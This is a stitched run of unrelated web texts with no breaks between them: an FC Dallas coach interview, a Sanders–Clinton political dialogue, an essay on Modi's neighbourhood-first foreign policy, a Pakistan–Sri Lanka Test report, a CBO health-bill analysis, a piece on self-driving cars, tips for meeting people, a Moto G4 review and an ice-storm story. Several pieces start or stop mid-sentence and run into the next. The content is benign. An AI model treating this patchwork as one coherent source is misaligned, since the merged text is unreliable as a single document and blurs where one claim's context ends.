back for about 15 minutes. Skinny with black curly hair in a ponytail. I know nothing more about him. (Arman's Note: Abdallah is 22-23 years old and played for an FCD club team in his high school days. He won Nike's Most Wanted in 2014. Does not seem like true defender, more of a midfielder from watching him in the past) Catching up with Oscar Pareja What does "returning to our way, our youth movement" mean in terms of your squad building? At this point we're still in the process of evaluation and reflecting about this year. I took a week just to come down on the emotions and try to evaluate what we have done. At this point we're in the moment of talking to ownership, and technical direction, to see what are the correct movements for the next year after the evaluation. I think it's the ideas we have, but we're still in the process. So you're still trying to determine which direction you want to go in a lot of ways? Right, because, you know with what happened, I don't think we need to just go crazy. We have a process here that has gone for years already. This year I think the first invested things did very well. So we can lose our heads, just start going crazy, and it would be worse. That's not me, that's not what I want. There's a deadline coming up, waiver, expansion etc, is that looming in terms of making decisions on your roster? We're making some decisions at this point and obviously those deadlines will push you as well just to make it more clear. Because the players, I would like them to know what's going on and what's going to happen with them for the next year. That's going to come very quickly, first because we need it... We need to start getting our pre-season plans, and the team, and the squad, but also for the deadlines as you mention. Is it fair to say that if we don't see players here the last two weeks then they aren't in your plans? Not necessarily. Due to the union, you have players that are not on their contract, or the players that have not had their options picked up right away, they can not train. So that means if we are dealing with the cap, or we are waiting to finalize their evaluation, and where that we're going... There is a mix of things that make it blurry for you guys, but I know what it is. It doesn't necessarily mean that they are not in the plans. Is there anyone from last year's roster than you can tell me for sure you are moving on from? If I would have had it with anyone, I would tell you. Without hesitation. Cause I don't find any mystery with it. But no, there is no one that I can say right now that is not going to be. So we are done with the evaluation but once again contracts, the money, the salary cap, the opportunity to bring someone else... all those things are the mixture. How about the Academy team? Without naming names is there anyone you're looking at? We are taking advantage of this time just to see them closely. Not because we don't know them, but because we want them to be competing with the first team. That's something that can happen during the year, but not at this time. I would love to see much more. There are some players who have been brought to the training... we'll see. Without specific names there are 5... 6 players that we're looking at bringing here... and we'll see. -------------------------------------------------------------------- 3rd Degree is an independent FC Dallas blog. Founded in 1997, 3rd Degree has been in partnership with the Dallas Morning News since 2012. You can always find us at www.3rdDegree.net, on Twitter @3rdDegreeNet, or on instagram thirddegreenetIn Sunday night's Democratic debate, Hillary Clinton was asked why her opponent, Bernie Sanders, is fairing far better among young voters than she is now. She said she'd simply try to win them over. But a new Harvard poll finds his support among millennials is much stronger than hers. In this week's Political Words with Friends, Glamour's resident Democrat Krystal Marie Ball and Republican S.E. Cupp debate why so many millennial women, specifically, are "feeling the Bern." SEC: I'm fascinated by the love affair young voters have for a guy who was born a couple months before Pearl Harbor. I know age is just a number, but you wouldn't think a 74-year-old would resonate so genuinely with young people. KB: It really is fascinating! USA Today has a new poll out in which young Democratic women prefer Sanders to Clinton by 19 points. I think a big part of the reason many young women feel comfortable voting for a white man over Clinton is their changing view of progress for women. Young women have been taught their whole lives that women can be anything they want to be. So even though we have never had a woman president, it doesn't feel like a particularly exciting accomplishment to get one woman into one position of power. Young women who possess that attitude can consider all their options without having any gender traitor guilt. SEC: I'm pleased you think identity politics has, at least for some young women, become tedious and uninteresting. I've long held that millennials' relationship status with Clinton is...complicated. On the plus side for her, younger millennials didn't grow up when we did, mired in all the Clinton-era scandal—I literally learned what oral sex was from Bill's, er, transgressions. So they don't carry around all the decades-old baggage that we do and our parents do. But on the minus for her, as you indicated, they also don't carry around the massive and long-awaited expectations that she would become the first woman president, like many of her boomer supporters do. As you say, young women in particular aren't as obsessed with that objective. So when she pins her campaign on that very notion, it falls flat. KB: But more generally, what's not to love about Sanders? He's everything a politician isn't supposed to be. Frumpy, gruff, unpolished, a socialist! He takes everything you learn in candidate training school, turns it on its head, and wraps it in a grumpy Brooklyn grandpa package. The effect is pretty disarming. SEC: But Sanders is, in fact, a career politician, and everything that entails. It means he's voted, at times, to protect his electability, betraying core progressive issues like gun control that didn't fly in his home state of Vermont. It means he's got a long record to mine for bad calls and dirty deals. It means he's a savvy and disciplined campaigner who knows exactly how to maneuver through an election. He's not exactly an "outsider." And yet clearly he's resonating as one, which plays well for him, at a time when a Harvard poll shows 83 percent of millennials have no faith in government. They believe Sanders is a real change agent. And certainly some of his policy proposals would indeed be radical change. KB: One thing that's tremendously appealing to liberals about Sanders is that—outside of guns where his record is more complicated—he looks extremely prescient. On LGBT equality, on Iraq, on Wall Street. He was on the right side of those fights before it was convenient. And for young voters, it's much harder to understand the political dynamics that led to the calculations that Clinton and even Obama made on those issues; most 18-year-olds would find Clinton and Obama's long evolution on gay marriage mind boggling.Signals may not speak as loudly as actions, but they go a long way in diplomacy. Narendra Modi’s decision to invite all South Asian heads of state to his inauguration signaled that the neighborhood would be central in his foreign policy. Elected on a mandate to boost India’s sagging growth numbers, Modi knows he has to show results fast. Improving intraregional trade within the South Asian Association for Regional Cooperation (SAARC), which stands at a measly 5%—compared with over 60% in the European Union and 25% in the Association of Southeast Asian Nations (ASEAN)—is a good place to start. Traditionally, poor infrastructure has combined with historical and geopolitical disputes to affect trade-friendly policy. Investing in neighborhood relationships also makes geopolitical sense. As China looms large on the horizon, India has long needed to shake off a reputation of being “big brother” in the region, standing accused of imposing its views on smaller players. It also must elevate its image from a country that overpromises and underdelivers to smaller partners. Shaping a “Neighborhood First” Foreign Policy Modi’s first state visit was to neighboring Bhutan, where he promised assistance with hydroelectric power projects; next was Nepal, which no Indian prime minister had visited in almost two decades. Modi signed a land-swap deal with Bangladesh resolving a 70-year-old political and humanitarian issue involving thousands of people stuck in pockets of land belonging to one country within the other’s territory. In Sri Lanka, where the Rajapaksa government chose to get closer to China at significant strategic cost to India, recovery of lost ground seemed imminent with the election of the new president Maithripala Sirisena. Modi’s “neighborhood first” approach, however, encompasses more than South Asia and follows a “proactive foreign policy” in the extended neighborhood. It aims not just to react to events unfolding in Asia but to shape them. Modi has developed personal relationships via high-level visits—24 of his 37 trips through 2015 were to Asian countries; for Foreign Minister Sushma Swaraj the numbers were 21 of 28. Visits have been followed by proposals for cooperation in areas of mutual interest in the economic and strategic domains. The Act East policy, derived from the Look East policy of the 1990s, is an instance of this type of cooperation. The policy envisions pursuing and nurturing strategic and economic relationships in Southeast and East Asia. Recently, this has meant reaching an agreement on civil nuclear cooperation with Japan and initiation of Indo-Japan-U.S. meetings at the foreign minister level; also, Japan has become a permanent member of Exercise Malabar, a naval drill held bilaterally with the United States. Similarly, India has pledged greater cooperation with Vietnam, including port visits by navy ships, sale of patrol boats, and continued joint exploration of oil blocks. In the Middle East, India’s decision to abstain from condemning Israel at the United Nations over its offensive in Gaza coincides with greater cooperation between the two countries in defense, science and technology, and agriculture. There is also talk of Modi making the first visit by an Indian prime minister to Israel. His visit to the United Arab Emirates (UAE) was not only about energy security but also about the seven million Indians working in Gulf states responsible for remittances worth $6 billion annually. Modi’s brand of foreign policy has been designed with economic diplomacy at its center. Every state visit focuses on finding investors or opportunities to expand trade. These efforts have been channeled through the “Make in India” initiative, aimed at developing India as a manufacturing hub as rising labor costs decrease China’s competitive edge. This policy’s aim, however, goes beyond balancing Chinese influence in the economic realm alone. Following China’s example, Modi hopes to use economic cooperation to expand India’s sphere of influence. The policy’s objective is to develop robust trade relationships that will drive countries in India’s immediate and greater neighborhood to invest more in the overall security relationship. Modi’s nuanced approach has been shaping his message to reflect what each country finds important. For instance, in Southeast Asia and East Asia the focus is on China’s increasing assertiveness; in the UAE, it is on terrorism. In Afghanistan, as dialogue with the Taliban begins again, with China playing an active role, India wants to be part of the rebuilding process to ensure that the outcome is not inimical to its interests. This neighborhood-first policy is also reflected in the burgeoning India-U.S. relationship. To fulfill its ambition of being a bigger regional player, India would need to become a net provider of security in the region. As the 2015 U.S. National Security Strategy explains, this is where the Act East policy converges with the U.S. rebalance to Asia. Staying the Course on Neighborhood First Looking ahead, Modi will need to further refine aspects of his foreign policy. Despite efforts, he has failed to make a breakthrough in Pakistan. The relationship seems stuck in the same vicious circle, as a terrorist attack in an Indian airbase days after Modi’s seemingly spontaneous visit to Pakistan has once again raised questions about the prospects of meaningful dialogue. India’s approach to Nepal floundered when a constitution that India finds inadequately representative was promulgated. India was accused of enforcing an unofficial economic blockade, and its image in Nepal has deteriorated rapidly. Considering that the neighborhood focus comes after years of neglect and ambivalence, the policy will need time to yield results. Many of the issues affecting India’s immediate neighborhood have domestic motivations and offer little scope for India to intervene. Modi has engagements planned for much of 2016, and three objectives will guide his foreign policy—maximizing security, expanding India’s sphere of influence, and securing economic growth. In recent months, domestic developments have taken up much of the prime minister’s attention. Political opponents have accused him of spending too much time abroad at the cost of priorities at home such as pending economic development, domestic security, and heightened social tension. Additionally, recent electoral defeats at the state level and elections in the Rajya Sabha (upper house of the parliament) in 2016 will require Modi’s attention. Given Modi’s hands-on foreign policy decision-making, if he becomes unavailable, it will be all too visible. While there are no signs yet, analysts will look for signals like deferred measures on promised reform to aid foreign investment, canceled foreign trips, failure to reach out to neighbors, and inertia on agreements and consultations with major partners. If this happens, India will lose the international gains made in the first years of the present administration and slide back to the days of foreign policy stasis during the previous government. In his 2014 election manifesto, Modi promised to take India to “its rightful place in the comity of nations and international institutions.” If he takes his foot off the foreign policy pedal, that goal is likely to stay out of reach. This essay is part of the Strategic Asia Program’s Trends and Indicators series. Read other essays in the series: China’s Vision for a New Asian Economic and Political Order Climate Policy in the Asia-Pacific: Balancing Economic Growth with Environmental Sustainability Cheap Oil in the Asia-Pacific: Implications for Energy and Environmental Security Taiwan Election Politics The Trans-Pacific Partnership in the Asia-Pacific Japan’s Double-Edged Defense Reforms Reorienting India’s Foreign Policy: Neighborhood First High Tensions over Low-Tide Elevations in the South China Sea The Iran Nuclear Deal and Asia Deep Pal is a doctoral student at the University of Washington’s Henry M. Jackson School of International Studies.Pakistan 226 (Shafiq 75, Misbah 40, Perera 4-63) and 380 for 8 dec (Ali 136, Shafiq 100) drew with Sri Lanka 337 (Paranavitana 75, Perera 75, Junaid 5-70) and 195 for 4 (Sangakkara 74, Chandimal 65, Ajmal 3-50) Scorecard and ball-by-ball details Dinesh Chandimal's dismissal slowed down Sri Lanka's innings considerably © AFP Smart stats Sri Lanka won their first series since the 2-0 win over New Zealand in 2009. Between then and the start of this series, they had lost five series and drawn three series. Pakistan, on the other hand, lost their first series since the 3-1 defeat in England in 2010. It is also Pakistan's second consecutive series defeat in Sri Lanka after the 2-0 loss in 2009. Asad Shafiq's century is his second in Tests and the first against Sri Lanka. He has now scored 894 runs at 42.57 with two hundreds and six fifties. The 81-run stand between Shafiq and Adnan Akmal is the third-highest partnership for the ninth wicket for Pakistan against Sri Lanka. Kumar Sangakkara's aggregate of 490 runs in the series is the highest by a Sri Lankan batsman in a home series against Pakistan. It is the fifth-highest series aggregate overall for a Sri Lankan batsman. With another half-century, Sangakkara took his tally of fifty-plus scores against Pakistan to 17. He equals Sunil Gavaskar's record for the most fifty-plus scores against Pakistan. A placid track on the fifth day provided Sri Lanka an ideal chance of pushing for victory by chasing down 270 in the allotted 71 overs, a result that looked a strong possibility after an aggressive start led by Dinesh Chandimal. But his dismissal at the stroke of tea slowed down the innings considerably and, despite a fluent Kumar Sangakkara at one end, Sri Lanka's focus turned to securing their 1-0 lead. The change in approach squeezed the excitement out of the chase, but succeeded in ensuring Pakistan lost a Test series for the first time since that ill-fated tour of England in 2010. It was also Sri Lanka's first Test series win in nine attempts since August 2009, and the first after the retirement of Muttiah Muralitharan. Misbah-ul-Haq declared immediately after Asad Shafiq reached his second Test century prior to the lunch break. Shafiq added an unbeaten 81 with Adnan Akmal, who batted bravely with a broken finger to keep Sri Lanka at bay for more than 28 overs. In their defence of a target of 270, an all-out attack led by Junaid Khan was Pakistan's big hope of levelling the series, but with the pitch a contrast to days one and three, it was the batsmen who dictated the flow of the game. When they came in for the chase, Sri Lanka had the option of batting out time instead of pushing for a win, given their series lead, but Chandimal's naturally positive approach delivered a promising start. Junaid and Umar Gul got a hint of movement with the new ball, and there were plays and misses. Tharanga Paranavitana reached out to a couple of wide deliveries, while Chandimal, against a round-the-wicket line from Junaid, was squared up by the away-going ball. His tendency to initially shuffle across and fall over gave Junaid a healthy chance of an lbw dismissal, but Chandimal middled the ball well. He slashed Gul through point, drove him down the ground and pulled him through square leg, all in the over before lunch. Chandimal was largely cautious against spin, preferring to see off both Mohammad Hafeez and Saeed Ajmal, who only got the odd ball to turn, but was quick to seize on opportunities presented by the seamers. Despite the presence of a deep point,
but the majority of tax credit money goes to the working poor and lower middle class. On the other side of the ledger, the CBO finds that the federal government would lose $210 billion in revenue because the Senate bill would eliminate penalties, including the individual mandate that has people paying extra taxes if they opt not to get health insurance. In addition, the CBO records $541 billion in declining revenue from tax cuts, including income taxes that Obamacare imposed exclusively on the wealthy. So the poor and middle class would get less help paying for insurance, and the wealthy would get a tax cut. In the end, the CBO says, the changes leave $321 billion unspent. That’s money that would reduce the budget deficit. Coverage drops for everybody, especially the old and poor Draining $1 trillion from federal health programs is bound to have an impact. By 2026, the CBO says, the number of people without health insurance would be 22 million higher than it would be if the Affordable Care Act were still in place. That’s a lot of people, obviously ― enough to drag the proportion of U.S. residents without coverage down to 82 percent from 90 percent. But it doesn’t affect everybody in the population evenly. The increase among older people at lower incomes would be proportionately larger than for other age and income groups, the CBO found. Congressional Budget Office This isn’t terribly surprising. The law gives insurers more leeway to vary premiums by age ― charging older people more and younger people less ― and its tax credits aren’t designed to offset that effect in the way the Affordable Care Act’s tax credits do. Senate Republicans might well believe these results are a worthwhile price to pay for what they consider their proposal’s upsides, whether that’s easing the tax burden on the wealthy, generally reducing the footprint of government or ending Obamacare’s individual mandate.When advocates of self-driving cars discuss their potential benefits, reducing traffic congestion usually shows up near the top of the list. Whether these autonomous vehicles, as planners call them, will significantly reduce congestion, however, may depend on who owns them — individuals, as with the vast majority of today's cars, or a transit system, or a different social ownership network. Congestion issues could also depend on how well AVs can be integrated with public transit and things like ride-sharing and ride-hailing technologies like Uber and Lyft. For starters, a private AV can let you off at your destination, then go somewhere else to park. That alone would reduce congestion in downtowns, considering that, today, up to a third of drivers in urban centres are looking for parking. Today's privately-owned cars are parked an average of 95 per cent of the time. Tomorrow's AVs that are not privately owned could let you off and then go on to let off another passenger, or pick up a new passenger nearby. Michele Bertoncello, an AVs expert with the international consulting firm McKinsey and Company, estimates that AVs could reduce needed parking space in the U.S. by more than 5.7 billion square metres, an area about the size of Prince Edward Island. Of course, a crunch comes during rush hour, when demand will likely exceed supply, and that may be a reason why time-sensitive people will want their own. Ownership models Michele Bertoncello, with consultancy firm McKinsey and Company, speaks in Florence, Italy in 2014 about his research on autonomous vehicles. (McKinsey & Co.) As for ownership, informed opinions vary. Bertoncello expects private ownership will be the dominant model, like with today's cars. On the other hand, Don Tapscott, the Toronto-based digital technology expert, anticipates driverless car networks operating mostly under some form of social ownership, possibly with a pay-per-use model like music streaming. Many AVs could be part of the public transit system, while others could be owned and managed by what Tapscott calls a socially-owned enterprise, using the same technology as the cryptocurrency Bitcoin, the block chain. Noah Goodall, a research scientist studying AVs for the Virginia Centre for Transportation Innovation and Research, expects both models will be around for a while. "Single ownership makes a lot of sense in rural areas and for certain people," he says, while shared-ownership or a subscription-based model — perhaps like driverless taxis — could appeal to more people in more densely populated areas. Todd Litman, executive director of the Victoria Transport Policy Institute, speaks at a workshop for transport planners in Istanbul, Turkey in June. (IETT) In fact, for people who cannot drive because of a visual impairment or any other issue that affects their mobility, AVs could become quite popular. Goodall expects many of today's two-car families will end up owning one AV while relying on shared vehicles for the rest of their transportation needs. Todd Litman, with the Victoria Transport Policy Institute think tank, estimates it will be "cost-effective for a family to give up one of their cars if they're driving it less than 10,000 kilometres a year." Which means even once AVs dominate the roads, many families will still have good reasons to own a car. Last mile challenge For traffic congested cities, integrating AVs with public transit may offer hope. Imagine if AVs can service what urban planners call the last mile challenge — getting people home from a train or subway station a few kilometres away. A mix of AVs from single passenger to minibus-size vehicles providing door-to-door service could help get many commuters out of their own cars and onto transit. Goodall points to the work Google is doing on low-speed electric AVs, which can go up to 40 km/hr. These are vehicles that could integrate with public transit and "really help" with that last-mile challenge, he says, imagining lightweight vehicles AVs linking up together and creating a virtual bus or road train. The new Google pod car isn't designed for a long trip, or a joyride. It lacks air bags and other federally required safety features, so it can't go more than 40 kilometres (25 miles) per hour. (Tony Avelar/Associated Press) In the interim, before the AV era, connected cars that will communicate with each other electronically through wifi so they can move in sync and more compactly on expressways, could help reduce traffic congestion. Bertoncello feels that a big advantage of AVs is the potential to give over a billion drivers 50 extra minutes of free time per day, which could also have huge economic impact. Still, Litman cautions that, while these vehicles may indeed reduce traffic, congestion and emissions, he also says that their advocates are often seeing them through rose-coloured glasses. For example, if AVs are publicly owned, he says, there's the challenge of keeping the interiors clean and not smelling something like an old subway station elevator. Both Litman and Goodall also suggest that the widespread use of AVs could lead to additional vehicle traffic because they will increase travel convenience and affordability. Some people may even want an AV that serves as a mobile office or a bedroom. Safety and road infrastructure There's nothing like a crash to slow down traffic, and the general view is that once AVs account for the vast majority of vehicles, accidents, and the deaths and injuries that result, should go way down. Mounted on a swivelling motorized arm, the steering wheel on a Rinspeed Budii self-driving electric city car can be used to drive from either side of the car, and rests in the middle of the dashboard when not in use. (Reuters) But during the mixed transition, both Litman and Goodall say there is no guarantee of improved safety. Goodall also wants to see a long testing period for AVs first. Bertoncello points out that assisted driving technology in the cars of today is already improving safety. And the sensors on AVs will provide "the kind of data that is the dream of every car engineer today," resulting in safety problems getting detected much sooner and hopefully solved. He also doesn't foresee much change in road infrastructure during the transition period, even if it last decades, because "it would just be too costly." As he sees it, "full autonomous and manual driving must be able to co-exist, as lots of people will want to have the option to manually drive their AV." AVs a paradigm shift? In a February report on AVs, Litman wrote that the AV "is certainly not a 'paradigm shift' since it does not fundamentally change how we define transport problems." Don Tapscott, whose books include 'The Digital Economy' and 'Paradigm Shift,' says the AV should cause a paradigm shift because it breaks our mental model about two separate kinds of transportation, private and public. (The Leigh Bureau) But Tapscott, who wrote the book Paradigm Shift, one of 15 he has authored or co-authored, expects that will indeed be the outcome. "A paradigm is a mental model, and paradigms put boundaries around what we think and constrain our actions, and they're based on assumptions that are so strong that we don't know that they're there." Our current paradigm around transportation, he says, is that there are two models, private and public, the latter limited to government ownership, not the social ownership he foresees. "It's precisely a paradigm shift because it's breaking our mental models of what is transportation, but, because of technology, it's now possible to have a whole new model that combines both public and private at much lower cost and with significant benefit to the population." This story is the second of a two-part series. The future of traffic looks at how commuting apps and technology might impact urban traffic in the years before the AV era.Many of my friends have asked me "How do you always manage to meet new people? It seems so easy for you." Well, for me, it is not as easy as it seems. I have recognized that time is limited and I have been consciously choosing to act and use some of my time to add more positive people into my life. To do so, I found that it takes time, practice, and some ideas about where to find those new people to meet. I'm going to share with you 11 great tips that I've used to meet new people that hopefully will work for you too. First, so you know what you're not getting in this blog post - I'm not going to cover these areas: meeting new people online forming close friendships developing business relationships finding someone to date or marry There are plenty of how-to guides, books, services and apps to cover those areas. However, I do believe that success in each of those areas starts with meeting new people. Afterwards you can then move to forming more specific types of relationships. So on to the 11 great tips for you… Oh, one last note: For now, I'm skipping some of the online tools and services that bridge online interactions with meeting people "in real life". This includes tools provided by companies such as Meetup, MeetMe, Evite, Twoo, Badoo, eHarmony, and Tinder. I suspect that they'll be the subject of another discussion. Top 3 Tips [ Be Random! ] 1. Visit a random place Most of my friends know that this is probably my all time favorite thing to do. Explore. Spend some time somewhere where you've never been before. You can start small and do something like switch from one coffee shop hangout location to a different coffee shop location or you can go big and travel and spend time in another city, town, state or country. If you've never been to the place before, you're sure to get the opportunity to meet someone new. 2. Venture out at a random time Many people seem to become creatures of habit. If you're one of those people, when you choose to venture out and about it is probably at the same time of day or night each time. Switch it up. If you normally go out during the day, try going out in the evening sometimes. If you're usually out during the evening, try hanging out during the day sometimes. You may be surprised at just how different the daytime regulars and nighttime regulars are. It is like day and night. :) 3. Do a random activity Rounding out the being random theme (perhaps more appropriately called "mixing up your routine" but I prefer calling it being random) is to do a random activity. I love combining this with tips 1 and 2. Again, the key is to do something you don't consistently do already. If you do, you're likely to interact with a different set of people than you regularly do. Keep in mind that the activity can be with or without any of your current friends. Frankly, I seem to meet new people more frequently when I'm out on my own, but you should decide what works best for you. Next 3 Tips [ Join Others! ] 4. Follow the music Music attracts many types of people. So go to events where music is the focus. You could choose a big concert location, small music venue, or a music festival - check your local event calendars for options. Night clubs and bars with music can work too but they can be challenging if they are not your regular scene. I haven't done this yet, but I've been told that taking dance lessons can also lead to meeting new people if you don't already have a dance partner. 5. Share hobby time Pick an existing hobby or start a new one. Meet with others who have the same hobby. Again, there are several possibilities. Join or form a local book club if you like reading. Start or join a game night to play board games with others who enjoy the same (you might live near a game store that hosts game nights already). Join a poker group or play in tournaments where players rotate regularly. If it is a known hobby, there are likely many others out there who enjoy the same hobby as you. 6. Focus on sports Like a shared hobby, you can focus on a particular sport or team. The sport may be at a high school, recreational, college, or professional level. Your focus may mean that you play the sport: join a league or team and meet new people in the league or on the team. You may be a sports fanatic: go to the local sports bar (if you're of drinking age) or public house to watch the next big game and you'll most likely meet other fanatics there. Attend sporting events and you're likely to meet others sitting nearby with the same sporting interest(s) as you. Final 5 Tips [ Participate in the program! ] 7. Party, party, party Parties and celebrations happen frequently. If you're lucky enough to be invited to one, say yes! Initially you may not be interested in going to a particular party, but a party can provide a great way for you to meet new people just outside of your existing social circle (especially it attendees are allowed to bring others). This includes kids' birthday parties (they usually come with parents), friends' birthday parties, family celebrations, neighborhood events, local cookouts, etc.. I've personally found that going to one party may lead to invitations to additional parties with new groups of people with whom to meet. 8. Volunteer your time Volunteering your time can certainly lead you to meeting new people. Those people may be other volunteers or those you choose to volunteer your time for. If you're short on ideas on how to volunteer your time, check out my previous posts suggesting volunteer opportunities or more specifically volunteer with seniors. 9. Go to school Going to school has many benefits, one of which is that it gives you the opportunity to meet other people with shared interest (or shared dis-interest depending upon the situation). Opportunities may vary depending upon the type of school or university but they're out there: shared lunch times, study groups, class projects, and extracurricular activities are just a few. If you live in a dormitory, you may meet new neighbors. If you've been out of school for awhile you may take individual classes with group focus: art classes, cooking classes, dance classes, exercise classes, etc.. Schools and classes can definitely provide structured environments that facilitate meeting new people. 10. Go to work Opportunities to meet new people at work may vary greatly depending upon the type of job but there's usually opportunity to meet new people. If you're in a service industry and interact with the general public frequently, it's a great opportunity to meet new people - sometimes you might meet someone new every day! If you're not in a service industry you may get opportunities to interact with new co-workers - like parties, say yes and join work sponsored events, team building activities, lunches or breaks with co-workers, after work drinks, etc.. Don't forget that every time you change jobs, shifts, or teams that you're likely getting opportunities to meet someone new. 11. Get a pet chicken Okay, really I mean get a dog, but a pet chicken will likely serve the same purpose. I have not had a dog since I was very young but I have friends who tell me constantly about their experiences meeting new people while out walking a dog. I've witnessed it also. Dog lovers seem to attract other dog lovers randomly while out walking dogs. So get a dog (or borrow one), take it for a walk in your local dog park or neighborhood and you're likely to meet someone new. I'm pretty sure if I get a pet chicken, put a leash on it, and take it for a walk around town that I'm likely to meet someone new. Let me know if you try it. I'd be curious to know just how many new people you meet while trying to walk a chicken around town. BONUS TIP 12 HERE ] [UPDATE 11/26/16 - SEE Conclusion [ with an extra challenge! ] So there you have it. 11 great tips to help you meet new people. If you like the list, please use one of the sharing buttons below to share this list with others. Also, feel free to comment to add other suggestions describing how to meet new people or comment to share your own experiences with the tips above. An Extra Challenge for You: If you haven't done so regularly already, try meeting someone new who does not look like you, sound like you, act like you, is from the same hometown as you, or is anything like the majority of your existing friends or colleagues. You may find doing so to be a very rewarding experience. You may also consider it pre-work for a future If you haven't done so regularly already, try meeting someone new who does not look like you, sound like you, act like you, is from the same hometown as you, or is anything like the majority of your existing friends or colleagues. You may find doing so to be a very rewarding experience. You may also consider it pre-work for a future Blogtoaction.com post. In the meantime, don't forget that time is precious. Take positive action now and go meet some new people.The Quick Take The Moto G4 is a 5.5-inch Android phone that lacks any kind of definition to help it stand out. With a single top speaker grill, and its rounded corners, it blends in. It delivers a great display that is easy to see both inside and outdoors, along with a battery that will keep you going all day — and then some. It's got a decently-performing camera, and new access to manual features for photos. The Good Solid feel in your hand Good camera with manual features Great battery life The Bad Processor gets overworked from extensive use Camera lags when opening Only 16GB of onboard storage About this Review I (Jen Karner) after a week of using a Moto G4 for about ten days, running Android 6.0.1 with the May 1, 2016 security patch. The build number is MPJ24.139-48. It was connected to the AT&T network in Halethorpe, Maryland. The best of plastic Hardware Category Features Display 5.5-inch Full HD display, 401 PPI, Gorilla glass 3 Processor Qualcomm Snapdragon 617 SoC (Octa-core Cortex-A53) Storage 16GB, expandable by 128GB Adoptable storage RAM 2GB Rear Camera 13MP f/2.0 Front Camera 5MP Battery 3000 mAh Size 153 x 76.6 x 7.9 mm 154 g In your hand, the Moto G4 feels sturdy, but definitely made of plastic. The back plate is smooth, with a textured cross hatch that can feel a bit strange at first, especially if you're moving to the G4 from a metal framed phone. Despite its large screen, the phone fits and can be used with a single hand. When you're looking at it, the phone could pass for any other rectangular, round-cornered phone. There's only one piece of branding at all, on the backplate: the Moto logo just underneath the camera. This is a phone that is striving for simplicity, something you can tell by glancing at it. There are only two buttons, both located to the right of the screen. The power button is seated on top, with a textured pattern to help tell it apart from the volume rocker. The rocker, is seated just under the power button and is smooth. Both of the buttons are metal, and are easy to tell apart from the phone's plastic body. The screen does its job well, delivering a great experience even in direct sunlight. There are only two ports on the phone, the micro-USB charger at the bottom, and a 3.5mm headphone jack. There is a single speaker located above the screen, and while not amazing, it gets the job done. To the right of the speaker grill is the lens for the front facing camera. On the back of the phone you'll find your rear facing camera. The back plate of the phone also pops up revealing your SIM card slot, an microSD card slot, and the unremovable battery. The screen on the Moto G4 is a 5.5-inch Full HD display with a Gorilla Glass 3 overlay that reaches nearly across the entire phone, with space above and below it. The screen does it's job and well, delivering a great experience even in direct sunlight. You'll get vibrant and poppy colors that aren't washed out, or oversaturated. Even when you dim your screen, it's never so dark that it's unusable so long as you are indoors. The Snapdragon 617 processor is adequate to let you get everything done, but doesn't go above and beyond. Likewise, the phone occasionally heats up when playing a battery-intensive game like Pokemon Go or Avengers Academy for a prolonged period of time. For the most part, though, the phone is capable of handling anything from social media and the web to playing Match-3 games for an hour and a half. Android all the way Software Happily, the Moto G4 is running Android 6.0.1 out of the box. Having the most up to date software possible is a must for many people, and seeing a budget level phone up to date is always a good thing to see (though it won't be up-to-date for long). Instead of seeing overbearing Moto software, there is an emphasis on Google and stock Android, with a few Moto flourishes thrown in. Those flourishes include gestures, but sadly lacks the Moto Voice feature that allows you to quickly access specific notifications usually found on more expensive Motorola devices. You will be using those Moto gestures as you become more acquainted with the phone. You can launch your camera by quickly double twisting the phone, or flipping it to lay face down to silence an incoming phone calls. When the phone did start to heat up was when there were some issues with the performance of the phone. There were some issues when the phone was used for an extended amount of time, though. The entire thing would heat up, and while never becoming too hot or issuing a warning, it did become uncomfortable in my pocket or hand. When the phone did start to heat up was when there were some issues with the performance; apps would stutter, and it was easier to just put the phone down and let it cool back down before trying to do much of anything. To storage, if only 16GB of space seems like too little, you're still in luck. The Moto G4 takes advantage of Google's Adoptable Storage feature, letting you mount up to 128GB microSD card to augment the storage you have access to. An expected flaw Performance The Moto G4 is running on a Snapdragon 617, with 2GB of RAM which, while technically an upgrade from its predecessor, is aging quickly and as you're running around doesn't always stand up to the abuse. That's not exactly rare with a lower-end phone, but it is still just a bit disheartening. For most people, the processor will be exactly what you need out of the phone. However when used heavily, the phone does occasionally try to rebel. On several occasions during my time with the Moto G4, it got hot and jittery enough that I had to clear all of the open tasks, or even restart the phone. This was generally after heavy extended use that most people wouldn't get to. Fine tuned controls Camera For plenty of people, the camera on their phone is a pretty big deal. You want something that can capture the moments in your life that matter. For the most part, the Moto G4 has delivered a great camera. With a 13MP sensor on the back and a 5MP front facing shooter you'll be covered. The one big flaw, though: no matter how you open the camera it takes several seconds to load. It's not a deal breaker, but it can be frustrating when you're trying to grab a shot in the spur of the moment. Once it opens up, you're good to go. The camera allows you to adjust between regular shooting, and with the G4 they've added manual controls. While many people don't want to fuss with these, there are others who like being able to fine tune the photos they snap and now they can. LG is already known for their manual settings, but it's nice to see Moto joining in as well. Switching between photo and video capture is simple, and just involves a few taps. If you want to adjust your default settings for photo and video, the settings are available by swiping to the side. If you decide to dive into the professional mode, you'll have access to all of the manual settings. These settings pop up on a sliding scale for adjustment after you tap on the appropriate settings on the right side of the screen. Another small downside to the camera: how long the HDR takes to process. Occasionally you'll get a message asking you to hold your phone steady while taking a photo. For most people holding still for an extra second or two isn't a big deal, but it can produce problematic blurry photographs if your hand is shaking. This didn't happen often, but it's worth noting. Overall the camera performs really well, especially for a phone under $300. The fast autofocus also means that you can easily grab great candid shots. You'll just need to make sure the camera is open in advance. It would have been nice to see some optical stabilization, but given the small size of the phone it's usually pretty easy to hold steady. It just keeps going Battery There's something to be said for a phone that has a battery capable of getting you through the day without needing a charge. The Moto G4 is packed with a 3000mAh battery that will get you through your commute, and work day, along with getting you home. A single full charge got me through nearly a full day when I needed to charge it. The adapter included with it is equipped with TurboPower charger, Moto's take on Qualcomm's Quick Charge 2.0 standard. It's easy enough to just plug in for 10 or 15 minutes and see a 20% improvement in the battery. If the Moto G4 dies on you, which only happened to me once, it'll only take about an hour and a half to get you back up to a full charge again. For everyday users this battery will get you through at least a full day. For heavier use, it's good for about 16 hours.David Farmer might be the last person in the GTA without power after last month’s ice storm. Swinging a splitting axe in his Mississauga backyard, the white-bearded, 66-year-old former banker is staying warm. Mississauga resident David Farmer is still out of power as a result of the ice storm a month ago. To keep the house warm, he cuts wood from his property for a wood stove. ( Bernard Weil / Toronto Star ) Mississauga resident David Farmer is still out of power as a result of the ice storm a month ago. To keep the house warm, Farmer cuts wood from his property for a wood-burning stove downstairs. ( Bernard Weil / Toronto Star ) “You acclimatize,” he says, bundled up in five layers of clothing. “In a bad luck situation, I’m lucky.” Farmer’s large property has many trees that have provided lots of deadfall over 